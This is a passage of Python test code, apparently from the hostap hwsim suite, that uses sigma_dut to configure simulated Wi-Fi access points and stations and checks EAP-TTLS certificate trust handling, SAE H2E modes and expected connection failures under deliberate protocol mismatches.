logdir = os.path.join(params['logdir'],
"sigma_dut_ap_hs20.sigma-hostapd")
conffile = os.path.join(params['logdir'],
"sigma_dut_ap_hs20.sigma-conf")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default,NAME,AP,program,HS2-R3")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,WLAN_TAG,1,CHANNEL,1,SSID,test-hs20,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,WLAN_TAG,1,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,WLAN_TAG,1,KEYMGNT,WPA2-ENT")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,1,HESSID,02:12:34:56:78:9a,NAI_REALM_LIST,1,OPER_NAME,1")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,1,OSU_SERVER_URI,https://example.com/ https://example.org/,OSU_SSID,test-osu,OSU_METHOD,SOAP SOAP,OSU_PROVIDER_LIST,10,OSU_PROVIDER_NAI_LIST,4")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,1,NET_AUTH_TYPE,2")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,1,VENUE_NAME,1")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,1,DOMAIN_LIST,example.com")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,1,OPERATOR_ICON_METADATA,1")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,WLAN_TAG,2,CHANNEL,1,SSID,test-osu,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,WLAN_TAG,2,KEYMGNT,NONE")
sigma_dut_cmd_check("ap_set_hs2,NAME,AP,WLAN_TAG,2,OSU,1")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_eap_ttls_uosc(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS with UOSC"""
logdir = params['logdir']
with open("auth_serv/ca.pem", "r") as f:
with open(os.path.join(logdir, "sigma_dut_eap_ttls_uosc.ca.pem"),
"w") as f2:
f2.write(f.read())
src = "auth_serv/server.pem"
dst = os.path.join(logdir, "sigma_dut_eap_ttls_uosc.server.der")
hashdst = os.path.join(logdir, "sigma_dut_eap_ttls_uosc.server.pem.sha256")
subprocess.check_call(["openssl", "x509", "-in", src, "-out", dst,
"-outform", "DER"],
stderr=open('/dev/null', 'w'))
with open(dst, "rb") as f:
der = f.read()
hash = hashlib.sha256(der).digest()
with open(hashdst, "w") as f:
f.write(binascii.hexlify(hash).decode())
dst = os.path.join(logdir, "sigma_dut_eap_ttls_uosc.incorrect.pem.sha256")
with open(dst, "w") as f:
f.write(32*"00")
ssid = "test-wpa2-eap"
params = hostapd.wpa2_eap_params(ssid=ssid)
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
try:
cmd = "sta_set_security,type,eapttls,interface,%s,ssid,%s,keymgmttype,wpa2,encType,AES-CCMP,PairwiseCipher,AES-CCMP-128,username,DOMAIN\mschapv2 user,password,password,ServerCert,sigma_dut_eap_ttls_uosc.incorrect.pem" % (ifname, ssid)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-EAP-TLS-CERT-ERROR"], timeout=10)
if ev is None:
raise Exception("Server certificate error not reported")
res = sigma_dut_cmd_check("dev_exec_action,program,WPA3,interface,%s,ServerCertTrust,Accept" % ifname)
if "ServerCertTrustResult,Accepted" not in res:
raise Exception("Server certificate trust was not accepted")
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev[0].dump_monitor()
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_eap_ttls_uosc_tod(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS with UOSC/TOD-STRICT"""
run_sigma_dut_eap_ttls_uosc_tod(dev, apdev, params, False)
def test_sigma_dut_eap_ttls_uosc_tod_tofu(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS with UOSC/TOD-TOFU"""
run_sigma_dut_eap_ttls_uosc_tod(dev, apdev, params, True)
def run_sigma_dut_eap_ttls_uosc_tod(dev, apdev, params, tofu):
check_tls_tod(dev[0])
logdir = params['logdir']
name = "sigma_dut_eap_ttls_uosc_tod"
if tofu:
name += "_tofu"
with open("auth_serv/ca.pem", "r") as f:
with open(os.path.join(logdir, name + ".ca.pem"), "w") as f2:
f2.write(f.read())
if tofu:
src = "auth_serv/server-certpol2.pem"
else:
src = "auth_serv/server-certpol.pem"
dst = os.path.join(logdir, name + ".server.der")
hashdst = os.path.join(logdir, name + ".server.pem.sha256")
subprocess.check_call(["openssl", "x509", "-in", src, "-out", dst,
"-outform", "DER"],
stderr=open('/dev/null', 'w'))
with open(dst, "rb") as f:
der = f.read()
hash = hashlib.sha256(der).digest()
with open(hashdst, "w") as f:
f.write(binascii.hexlify(hash).decode())
ssid = "test-wpa2-eap"
params = int_eap_server_params()
params["ssid"] = ssid
if tofu:
params["server_cert"] = "auth_serv/server-certpol2.pem"
params["private_key"] = "auth_serv/server-certpol2.key"
else:
params["server_cert"] = "auth_serv/server-certpol.pem"
params["private_key"] = "auth_serv/server-certpol.key"
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
try:
cmd = ("sta_set_security,type,eapttls,interface,%s,ssid,%s,keymgmttype,wpa2,encType,AES-CCMP,PairwiseCipher,AES-CCMP-128,trustedRootCA," + name + ".ca.pem,username,DOMAIN\mschapv2 user,password,password,ServerCert," + name + ".server.pem") % (ifname, ssid)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname + ",maintain_profile,1")
dev[0].wait_disconnected()
dev[0].dump_monitor()
hapd.disable()
params = hostapd.wpa2_eap_params(ssid=ssid)
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-EAP-TLS-CERT-ERROR"], timeout=10)
if ev is None:
raise Exception("Server certificate error not reported")
res = sigma_dut_cmd_check("dev_exec_action,program,WPA3,interface,%s,ServerCertTrust,Accept" % ifname)
if "ServerCertTrustResult,Accepted" in res:
raise Exception("Server certificate trust override was accepted unexpectedly")
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev[0].dump_monitor()
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_eap_ttls_uosc_initial_tod_strict(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS with initial UOSC/TOD-STRICT"""
run_sigma_dut_eap_ttls_uosc_initial_tod(dev, apdev, params, False)
def test_sigma_dut_eap_ttls_uosc_initial_tod_tofu(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS with initial UOSC/TOD-TOFU"""
run_sigma_dut_eap_ttls_uosc_initial_tod(dev, apdev, params, True)
def run_sigma_dut_eap_ttls_uosc_initial_tod(dev, apdev, params, tofu):
check_tls_tod(dev[0])
logdir = params['logdir']
name = params['name']
with open("auth_serv/rsa3072-ca.pem", "r") as f:
with open(params['prefix'] + ".ca.pem", "w") as f2:
f2.write(f.read())
if tofu:
src = "auth_serv/server-certpol2.pem"
else:
src = "auth_serv/server-certpol.pem"
dst = params['prefix'] + ".server.der"
hashdst = params['prefix'] + ".server.pem.sha256"
subprocess.check_call(["openssl", "x509", "-in", src, "-out", dst,
"-outform", "DER"],
stderr=open('/dev/null', 'w'))
with open(dst, "rb") as f:
der = f.read()
hash = hashlib.sha256(der).digest()
with open(hashdst, "w") as f:
f.write(binascii.hexlify(hash).decode())
ssid = "test-wpa2-eap"
params = int_eap_server_params()
params["ssid"] = ssid
if tofu:
params["server_cert"] = "auth_serv/server-certpol2.pem"
params["private_key"] = "auth_serv/server-certpol2.key"
else:
params["server_cert"] = "auth_serv/server-certpol.pem"
params["private_key"] = "auth_serv/server-certpol.key"
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
try:
cmd = ("sta_set_security,type,eapttls,interface,%s,ssid,%s,keymgmttype,wpa2,encType,AES-CCMP,PairwiseCipher,AES-CCMP-128,trustedRootCA," + name + ".ca.pem,username,DOMAIN\mschapv2 user,password,password") % (ifname, ssid)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-EAP-TLS-CERT-ERROR"], timeout=15)
if ev is None:
raise Exception("Server certificate validation failure not reported")
res = sigma_dut_cmd_check("dev_exec_action,program,WPA3,interface,%s,ServerCertTrust,Accept" % ifname)
if not tofu and "ServerCertTrustResult,Accepted" in res:
raise Exception("Server certificate trust override was accepted unexpectedly")
if tofu and "ServerCertTrustResult,Accepted" not in res:
raise Exception("Server certificate trust override was not accepted")
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev[0].dump_monitor()
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_eap_ttls_uosc_ca_mistrust(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS with UOSC when CA is not trusted"""
check_domain_suffix_match(dev[0])
logdir = params['logdir']
with open("auth_serv/ca.pem", "r") as f:
with open(os.path.join(logdir,
"sigma_dut_eap_ttls_uosc_ca_mistrust.ca.pem"),
"w") as f2:
f2.write(f.read())
ssid = "test-wpa2-eap"
params = int_eap_server_params()
params["ssid"] = ssid
params["ca_cert"] = "auth_serv/rsa3072-ca.pem"
params["server_cert"] = "auth_serv/rsa3072-server.pem"
params["private_key"] = "auth_serv/rsa3072-server.key"
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
try:
cmd = "sta_set_security,type,eapttls,interface,%s,ssid,%s,keymgmttype,wpa2,encType,AES-CCMP,PairwiseCipher,AES-CCMP-128,trustedRootCA,sigma_dut_eap_ttls_uosc_ca_mistrust.ca.pem,username,DOMAIN\mschapv2 user,password,password,domainSuffix,w1.fi" % (ifname, ssid)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-EAP-TLS-CERT-ERROR"], timeout=10)
if ev is None:
raise Exception("Server certificate error not reported")
res = sigma_dut_cmd_check("dev_exec_action,program,WPA3,interface,%s,ServerCertTrust,Accept" % ifname)
if "ServerCertTrustResult,Accepted" not in res:
raise Exception("Server certificate trust was not accepted")
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev[0].dump_monitor()
finally:
stop_sigma_dut(sigma)
def start_sae_pwe_ap(apdev, sae_pwe):
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = '19'
params['sae_pwe'] = str(sae_pwe)
return hostapd.add_ap(apdev, params)
def connect_sae_pwe_sta(dev, ifname, extra=None):
dev.dump_monitor()
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
cmd = "sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678")
if extra:
cmd += "," + extra
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
dev.wait_disconnected()
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev.dump_monitor()
def no_connect_sae_pwe_sta(dev, ifname, extra=None):
dev.dump_monitor()
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
cmd = "sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678")
if extra:
cmd += "," + extra
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
ev = dev.wait_event(["CTRL-EVENT-CONNECTED",
"CTRL-EVENT-NETWORK-NOT-FOUND"], timeout=10)
if ev is None or "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection result")
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev.dump_monitor()
def test_sigma_dut_sae_h2e(dev, apdev):
"""sigma_dut controlled SAE H2E association (AP using loop+H2E)"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
start_sae_pwe_ap(apdev[0], 2)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, sae_h2e=True)
try:
connect_sae_pwe_sta(dev[0], ifname)
connect_sae_pwe_sta(dev[0], ifname, extra="sae_pwe,h2e")
connect_sae_pwe_sta(dev[0], ifname, extra="sae_pwe,loop")
res = sigma_dut_cmd("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,sae_pwe,unknown" % (ifname, "test-sae", "12345678"))
if res != "status,ERROR,errorCode,Unsupported sae_pwe value":
raise Exception("Unexpected error result: " + res)
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_sae_h2e_ap_loop(dev, apdev):
"""sigma_dut controlled SAE H2E association (AP using loop-only)"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
start_sae_pwe_ap(apdev[0], 0)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, sae_h2e=True)
try:
connect_sae_pwe_sta(dev[0], ifname)
connect_sae_pwe_sta(dev[0], ifname, extra="sae_pwe,loop")
no_connect_sae_pwe_sta(dev[0], ifname, extra="sae_pwe,h2e")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_sae_h2e_ap_h2e(dev, apdev):
"""sigma_dut controlled SAE H2E association (AP using H2E-only)"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
start_sae_pwe_ap(apdev[0], 1)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, sae_h2e=True)
try:
connect_sae_pwe_sta(dev[0], ifname)
no_connect_sae_pwe_sta(dev[0], ifname, extra="sae_pwe,loop")
connect_sae_pwe_sta(dev[0], ifname, extra="sae_pwe,h2e")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_sae_h2e(dev, apdev, params):
"""sigma_dut controlled AP with SAE H2E"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_h2e.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, sae_h2e=True, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
for sae_pwe in [0, 1, 2]:
dev[0].request("SET sae_groups ")
dev[0].set("sae_pwe", str(sae_pwe))
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_sae_h2e_only(dev, apdev, params):
"""sigma_dut controlled AP with SAE H2E-only"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_h2e.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, sae_h2e=True, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,sae_pwe,h2e")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
dev[0].set("sae_pwe", "1")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].dump_monitor()
dev[0].set("sae_pwe", "0")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412", wait_connect=False)
ev = dev[0].wait_event(["CTRL-EVENT-CONNECTED",
"CTRL-EVENT-NETWORK-NOT-FOUND"], timeout=10)
dev[0].request("DISCONNECT")
if ev is None or "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection result")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_sae_loop_only(dev, apdev, params):
"""sigma_dut controlled AP with SAE looping-only"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_h2e.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, sae_h2e=True, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,sae_pwe,loop")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
dev[0].set("sae_pwe", "0")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
dev[0].dump_monitor()
dev[0].set("sae_pwe", "1")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412", wait_connect=False)
ev = dev[0].wait_event(["CTRL-EVENT-CONNECTED",
"CTRL-EVENT-NETWORK-NOT-FOUND"], timeout=10)
dev[0].request("DISCONNECT")
if ev is None or "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection result")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_sae_h2e_loop_forcing(dev, apdev):
"""sigma_dut controlled SAE H2E misbehavior with looping forced"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_pwe'] = '1'
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,IgnoreH2E_RSNXE_BSSMemSel,1" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
ev = dev[0].wait_event(["SME: Trying to authenticate with"], timeout=10)
if ev is None:
raise Exception("No authentication attempt reported")
ev = dev[0].wait_event(["CTRL-EVENT-CONNECTED"], timeout=0.5)
if ev is not None:
raise Exception("Unexpected connection reported")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_h2e_enabled_group_rejected(dev, apdev):
"""sigma_dut controlled SAE H2E misbehavior with rejected groups"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = "19 20"
params['sae_pwe'] = '1'
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, sae_h2e=True)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,ECGroupID_RGE,19 123" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
ev = dev[0].wait_event(["SME: Trying to authenticate with"], timeout=10)
if ev is None:
raise Exception("No authentication attempt reported")
ev = dev[0].wait_event(["CTRL-EVENT-CONNECTED"], timeout=0.5)
if ev is not None:
raise Exception("Unexpected connection reported")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_sae_h2e_rsnxe_mismatch(dev, apdev):
"""sigma_dut controlled SAE H2E misbehavior with RSNXE"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = "19"
params['sae_pwe'] = '1'
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, sae_h2e=True)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,RSNXE_Content,EapolM2:F40100" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
ev = dev[0].wait_event(["SME: Trying to authenticate with"], timeout=10)
if ev is None:
raise Exception("No authentication attempt reported")
ev = dev[0].wait_event(["CTRL-EVENT-CONNECTED"], timeout=0.5)
if ev is not None:
raise Exception("Unexpected connection reported")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_sae_h2e_rsnxe_mismatch(dev, apdev, params):
"""sigma_dut controlled SAE H2E AP misbehavior with RSNXE"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_h2e_rsnxe_mismatch.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, sae_h2e=True, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,sae_pwe,h2e,RSNXE_Content,EapolM3:F40100")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
dev[0].set("sae_pwe", "1")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412", wait_connect=False)
ev = dev[0].wait_event(["Associated with"], timeout=10)
if ev is None:
raise Exception("No indication of association seen")
ev = dev[0].wait_event(["CTRL-EVENT-CONNECTED",
"CTRL-EVENT-DISCONNECTED"], timeout=10)
dev[0].request("DISCONNECT")
if ev is None:
raise Exception("No disconnection seen")
if "CTRL-EVENT-DISCONNECTED" not in ev:
raise Exception("Unexpected connection")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_sae_h2e_group_rejection(dev, apdev, params):
"""sigma_dut controlled AP with SAE H2E-only and group rejection"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_h2e_group_rejection.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, sae_h2e=True, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,sae_pwe,h2e")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups 21 20 19")
dev[0].set("sae_pwe", "1")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
addr = dev[0].own_addr()
res = sigma_dut_cmd_check("dev_exec_action,program,WPA3,Dest_MAC,%s,Rejected_DH_Groups,1" % addr)
if "DHGroupVerResult,21 20" not in res:
raise Exception("Unexpected dev_exec_action response: " + res)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_sae_h2e_anti_clogging(dev, apdev, params):
"""sigma_dut controlled AP with SAE H2E and anti-clogging token"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_h2e_anti_clogging.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, sae_h2e=True, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,SAE,PSK,12345678,AntiCloggingThreshold,0")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].set("sae_groups", "")
dev[0].set("sae_pwe", "2")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_ap_5ghz(dev, apdev, params):
"""sigma_dut controlled AP on 5 GHz"""
run_sigma_dut_ap_channel(dev, apdev, params, 36, '11na', 5180,
check_signal="WIDTH=20 MHz")
def test_sigma_dut_ap_ht40plus(dev, apdev, params):
"""sigma_dut controlled AP and HT40+"""
run_sigma_dut_ap_channel(dev, apdev, params, 36, '11na', 5180,
extra="width,40", check_signal="WIDTH=40 MHz")
def test_sigma_dut_ap_ht40minus(dev, apdev, params):
"""sigma_dut controlled AP and HT40-"""
run_sigma_dut_ap_channel(dev, apdev, params, 40, '11na', 5200,
extra="width,40", check_signal="WIDTH=40 MHz")
def test_sigma_dut_ap_vht40(dev, apdev, params):
"""sigma_dut controlled AP and VHT40"""
run_sigma_dut_ap_channel(dev, apdev, params, 36, '11ac', 5180,
